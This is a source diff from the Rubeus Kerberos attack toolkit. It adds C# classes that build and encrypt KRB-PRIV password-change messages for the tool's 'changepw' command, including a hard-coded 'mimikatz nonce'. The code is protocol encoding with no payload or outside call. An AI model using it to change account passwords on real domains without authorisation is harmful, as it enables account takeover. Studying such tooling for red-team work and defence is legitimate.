public DateTime ctime { get; set; }
|
||||
|
||||
public EncryptionKey subkey { get; set; }
|
||||
|
||||
public UInt32 seq_number { get; set; }
|
||||
}
|
||||
}
|
|
@ -0,0 +1,90 @@
|
|||
using System;
|
||||
using Asn1;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace Rubeus
|
||||
{
|
||||
//EncKrbPrivPart ::= [APPLICATION 28] SEQUENCE {
|
||||
// user-data [0] OCTET STRING,
|
||||
// timestamp [1] KerberosTime OPTIONAL,
|
||||
// usec [2] Microseconds OPTIONAL,
|
||||
// seq-number [3] UInt32 OPTIONAL,
|
||||
// s-address [4] HostAddress -- sender's addr --,
|
||||
// r-address [5] HostAddress OPTIONAL -- recip's addr
|
||||
//}
|
||||
|
||||
// NOTE: we only use:
|
||||
// user-data [0] OCTET STRING
|
||||
// seq-number [3] UInt32 OPTIONAL
|
||||
// s-address [4] HostAddress
|
||||
|
||||
// only used by the changepw command
|
||||
|
||||
public class EncKrbPrivPart
|
||||
{
|
||||
public EncKrbPrivPart()
|
||||
{
|
||||
new_password = "";
|
||||
|
||||
// mimikatz nonce ;
|
||||
seq_number = 1818848256;
|
||||
|
||||
host_name = "";
|
||||
}
|
||||
|
||||
public EncKrbPrivPart(string newPassword, string hostName)
|
||||
{
|
||||
new_password = newPassword;
|
||||
|
||||
// mimikatz nonce ;
|
||||
seq_number = 1818848256;
|
||||
|
||||
host_name = hostName;
|
||||
}
|
||||
|
||||
public AsnElt Encode()
|
||||
{
|
||||
// user-data [0] OCTET STRING
|
||||
byte[] pwBytes = Encoding.ASCII.GetBytes(new_password);
|
||||
AsnElt new_passwordAsn = AsnElt.MakeBlob(pwBytes);
|
||||
AsnElt new_passwordSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { new_passwordAsn });
|
||||
new_passwordSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, new_passwordSeq);
|
||||
|
||||
|
||||
// seq-number [3] UInt32 OPTIONAL
|
||||
AsnElt seq_numberAsn = AsnElt.MakeInteger(seq_number);
|
||||
AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq_numberAsn });
|
||||
seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, seq_numberSeq);
|
||||
|
||||
|
||||
// s-address [4] HostAddress
|
||||
AsnElt hostAddressTypeAsn = AsnElt.MakeInteger(20);
|
||||
AsnElt hostAddressTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressTypeAsn });
|
||||
hostAddressTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, hostAddressTypeSeq);
|
||||
|
||||
byte[] hostAddressAddressBytes = Encoding.ASCII.GetBytes(host_name);
|
||||
AsnElt hostAddressAddressAsn = AsnElt.MakeBlob(hostAddressAddressBytes);
|
||||
AsnElt hostAddressAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressAddressAsn });
|
||||
hostAddressAddressSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, hostAddressAddressSeq);
|
||||
|
||||
AsnElt hostAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { hostAddressTypeSeq, hostAddressAddressSeq });
|
||||
AsnElt hostAddressSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressSeq });
|
||||
hostAddressSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, hostAddressSeq2);
|
||||
|
||||
|
||||
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { new_passwordSeq, seq_numberSeq, hostAddressSeq2 });
|
||||
AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
|
||||
|
||||
seq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 28, seq2);
|
||||
|
||||
return seq2;
|
||||
}
|
||||
|
||||
public string new_password { get; set; }
|
||||
|
||||
public UInt32 seq_number { get; set; }
|
||||
|
||||
public string host_name { get; set; }
|
||||
}
|
||||
}
|
|
@ -107,7 +107,7 @@ namespace Rubeus
|
|||
// all the components
|
||||
AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 });
|
||||
|
||||
// tag the final total
|
||||
// tag the final total ([APPLICATION 22])
|
||||
AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total });
|
||||
final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final);
|
||||
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
using System;
|
||||
using Asn1;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Rubeus
|
||||
{
|
||||
public class KRB_PRIV
|
||||
{
|
||||
//KRB-PRIV ::= [APPLICATION 21] SEQUENCE {
|
||||
// pvno [0] INTEGER (5),
|
||||
// msg-type [1] INTEGER (21),
|
||||
// -- NOTE: there is no [2] tag
|
||||
// enc-part [3] EncryptedData -- EncKrbPrivPart
|
||||
//}
|
||||
|
||||
public KRB_PRIV(Interop.KERB_ETYPE encType, byte[] encKey)
|
||||
{
|
||||
// defaults for creation
|
||||
pvno = 5;
|
||||
msg_type = 21;
|
||||
|
||||
etype = encType;
|
||||
|
||||
ekey = encKey;
|
||||
|
||||
enc_part = new EncKrbPrivPart();
|
||||
}
|
||||
|
||||
public AsnElt Encode()
|
||||
{
|
||||
// pvno [0] INTEGER (5)
|
||||
AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
|
||||
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn });
|
||||
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
|
||||
|
||||
|
||||
// msg-type [1] INTEGER (21)
|
||||
AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type);
|
||||
AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn });
|
||||
msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
|
||||
|
||||
// enc-part [3] EncryptedData -- EncKrbPrivPart
|
||||
AsnElt enc_partAsn = enc_part.Encode();
|
||||
|
||||
// etype
|
||||
AsnElt etypeAsn = AsnElt.MakeInteger((int)etype);
|
||||
AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn });
|
||||
etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq);
|
||||
|
||||
// now encrypt the enc_part (EncKrbPrivPart)
|
||||
// KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13;
|
||||
byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, ekey, enc_partAsn.Encode());
|
||||
AsnElt blob = AsnElt.MakeBlob(encBytes);
|
||||
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
|
||||
blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
|
||||
|
||||
AsnElt encPrivSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq });
|
||||
AsnElt encPrivSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { encPrivSeq });
|
||||
encPrivSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, encPrivSeq2);
|
||||
|
||||
|
||||
// all the components
|
||||
AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, encPrivSeq2 });
|
||||
|
||||
// tag the final total ([APPLICATION 21])
|
||||
AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total });
|
||||
final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 21, final);
|
||||
|
||||
return final;
|
||||
}
|
||||
|
||||
public long pvno { get; set; }
|
||||
|
||||
public long msg_type { get; set; }
|
||||
|
||||
public EncKrbPrivPart enc_part { get; set; }
|
||||
|
||||
public Interop.KERB_ETYPE etype { get; set; }
|
||||
|
||||
public byte[] ekey { get; set; }
|
||||
}
|
||||
}
|
|
@ -31,9 +31,9 @@ namespace Rubeus
|
|||
byte[] rawBytes = temp.Encode().Encode();
|
||||
byte[] key = Helpers.StringToByteArray(keyString);
|
||||
|
||||
// KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP 1
|
||||
// KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP == 1
|
||||
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L55
|
||||
byte[] encBytes = Crypto.KerberosEncrypt(etype, 1, key, rawBytes);
|
||||
byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP, key, rawBytes);
|
||||
|
||||
value = new EncryptedData((int)etype, encBytes);
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue